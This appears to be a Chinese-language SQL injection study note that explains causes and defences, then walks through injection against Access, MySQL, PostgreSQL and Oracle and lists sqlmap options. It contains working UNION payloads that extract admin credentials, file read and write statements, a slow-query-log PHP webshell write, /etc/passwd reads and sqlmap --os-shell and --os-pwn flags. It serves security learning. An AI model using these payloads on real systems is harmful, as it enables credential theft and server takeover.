sql注入,数据库分类讲解
sql注入
原理
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。
1.程序员在处理程序和数据库交互时,使⽤字符串拼接的⽅式构造SQL 语句
2.未对⽤户可控参数进⾏⾜够的过滤,便将参数内容拼接到SQL 语句中
Web应用程序存在SQL注入,往往是因为在程序编写的过程中,开发人员违背了“代码与数据分离”原则。一方面,攻击者可以任意更改输入数据;另一方面,攻击者可以在数据里构造代码,让服务器端把数据解析成代码执行。所以,只要遵循“代码与数据分离”原则,对用户端传入的数据进行严格检查,从技术角度而言,可以实现完全防御SQL注入攻击。
危害
SQL注入带来的危害主要有如下几点:
- 猜解数据库(这是利用最多的方式)盗取网站敏感信息。
- 绕过验证,例如绕过验证登陆进入网站后台
- 注入可以借助数据库的存储过程进行提权等操作
- 管理员账号被篡改
- 网页被挂马
- 服务器被远程控制,被安装后门
- 破坏硬盘数据,瘫痪全系统
…
防御手段
注意:但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。
1、检查变量数据类型和格式
如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
比如,我们前面接受username参数例子中,我们的产品设计应该是在用户注册的一开始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布系统,评论系统等必须要允许用户提交任意字符串的场景,这就需要采用过滤等其他方案了。
2、过滤特殊符号
对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。
3、绑定变量,使用预编译语句
MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法
实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构
预编译解决不了所有问题,最好的方法是先将服务下线
注入方式
联合注入
报错注入
布尔型盲注
时间盲注
堆叠注入
注入点
表单提交,主要是POST,或者GET请求。
URL参数,主要为GET请求参数。
Cookie中的参数。
HTTP请求头部可修改的值,比如: Referer、User_Agent等。
常见数据库
Access:体积小,速度快,但很少见,多用于久远的小型数据库,常与asp搭配。
MySQL:体积小、速度快、功能简洁,多用于小型数据库,常与PHP / Java搭配。
SqlServer:较MySQL稍显复杂,功能也更为强大(也意味着攻击面更广),多用于中型数据库,常与.NET搭配。
Oracle:体积大、结构复杂、安全性高,多用于大型数据库,常与Java搭配。
......
access数据库
偏移注入
access数据库特性:
ACCESS 独立存在
数据库名
表名
列名
数据
由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入!
Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
ASP+Access-偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况!
偏移注入使用场景
在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了
注入原理
假设一个表有8个字段,admin表有3个字段。
联合查询payload:union select 1,2,3,4,5,6,7,8 from admin
在我们不知道admin有多少字段的情况下可以尝试payload:union select 1,2,3,4,5,6,7,admin.* from admin,此时页面出错
直到payload:union select 1,2,3,4,5,admin.* from admin时页面返回正常,说明admin表有三个字段
然后通过移动admin.*的位置,就可以回显不同的数据
MySQL数据库
MySQL
特点
MYSQL 统一管理
最高数据库用户=root用户root
用户最强管理所有收据库,但是如果root用户被搞定了,那么这个服务器上所有的网站数据就完蛋了(跨库注入),还可以写马
(未授权测试===白饭)数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
注入语句:
ROOT类型攻击-猜解数据,文件读写,跨库查询
获取syguestbook数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysql下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名xhcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
最后之所以要这样写是因为直接查manage默认是当前网站下的数据库,加上.就是说查询xhcms数据库下manage表
读写语句
#MYSQL-root高权限读写注入
-读取文件:
UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
//一般读取敏感文件,如数据库配置文件,网站搭建
-写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile'd:/www.txt'
或
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into dumpfile'd:/www.txt'
-路径获取:phpinfo,报错,字典等
-无法写入:secure_file_priv突破 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过
set global slow_query_log=1;
set global slow_query_log_file='shell路径';
select '<?php eval($_GET[A])?>' or SLEEP(1);
secure_file_priv=c:/限制盘符,只能读取c盘的文件
postgresql数据库
PostgreSQL常用查询命令
postgresql和mysql基本一致只不过查询函数不一样
回显点测试方法不一样
mysql回显点可以使用数字测试
postgresql只能使用null测试
select CURRENT_SCHEMA() #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度
select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件
postgresql注入语句
#PostgreSQL-高权限读写注入
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
-获取信息:
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current_user,null,null
and 1=2 union select null,current_database(),null,null
-获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database
-获取表名:
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
-获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
-获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
Oracle
Oracle数据库
注入语句
#Oracle
测回显:and 1=2 union select '1','2' from dual
爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like'%user%') from dual
爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
爆数据:and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
模糊查询的四种方式
%,匹配任意长度或类型的字符
_,匹配单个任意字符
[],匹配括号中给定的一个字符或者一个范围
[^],与上面一个相反,匹配不再括号内的
sqlmap
之所以放在最后是因为工具只是辅助手段,确定网站有注入点的时候使用sqlmap将会事半功倍
因为知道哪里有注入了,是什么类型的,有没有过滤,方便使用sqlmap的参数
个人认为还是先知社区比较好,毕竟是国人写的,官方的感觉就是某翻译直接翻译出来的有点生硬
常用参数
个人认为的常用参数
--purge #清除缓存,安全地删除 data 目录中所有内容
--beep #在发现 SQL 注入时,sqlmap 会立即发出“哔”的警告声
--privileges #查看权限
--technique B 布尔盲注
--technique E 报错注入
--technique U union查询注入
--union-cols 默认情况下,sqlmap 进行联合查询注入时使用 1 到 10 列。当然,可以通过提供更高的--level 值将该范围增加到最多 50 列。
--technique S 堆叠注入
--technique T 时间盲注
--time-sec 为 --time-sec 提供一个整数,可以设置时间型盲注响应的延迟时间。默认情况下,它的值为 5 秒。
--technique Q 内联查询注入
由于法律法规的规定,个人常用参数不往上写shell,怎么用sqlmap写shell其他大佬是有讲的,靶机可以玩一玩,真实生产环境就不要写shell了
#SQLMAP使用参数:
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
基本操作笔记:-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定sql命令
--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互shell
--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取win系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
过滤使用脚本
假如一些过滤可以配合使用一脚本
验证码绕过
个人总结
数据库类型决定-攻击手法->payload不一样
数据类型决定->payload考虑闭合,数据的格式(如:base64)
提交方式-数据请求不同决定->注入要按照指定方式去测试
(如:1.url没有参数并不代表没有注入,有些数据在数据包才有体现2.http数据包任何一个地方只要被接受,就有可能产生漏洞)
查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻(尽量不要操作这样的洞很高危但是不好拿),修改文章等)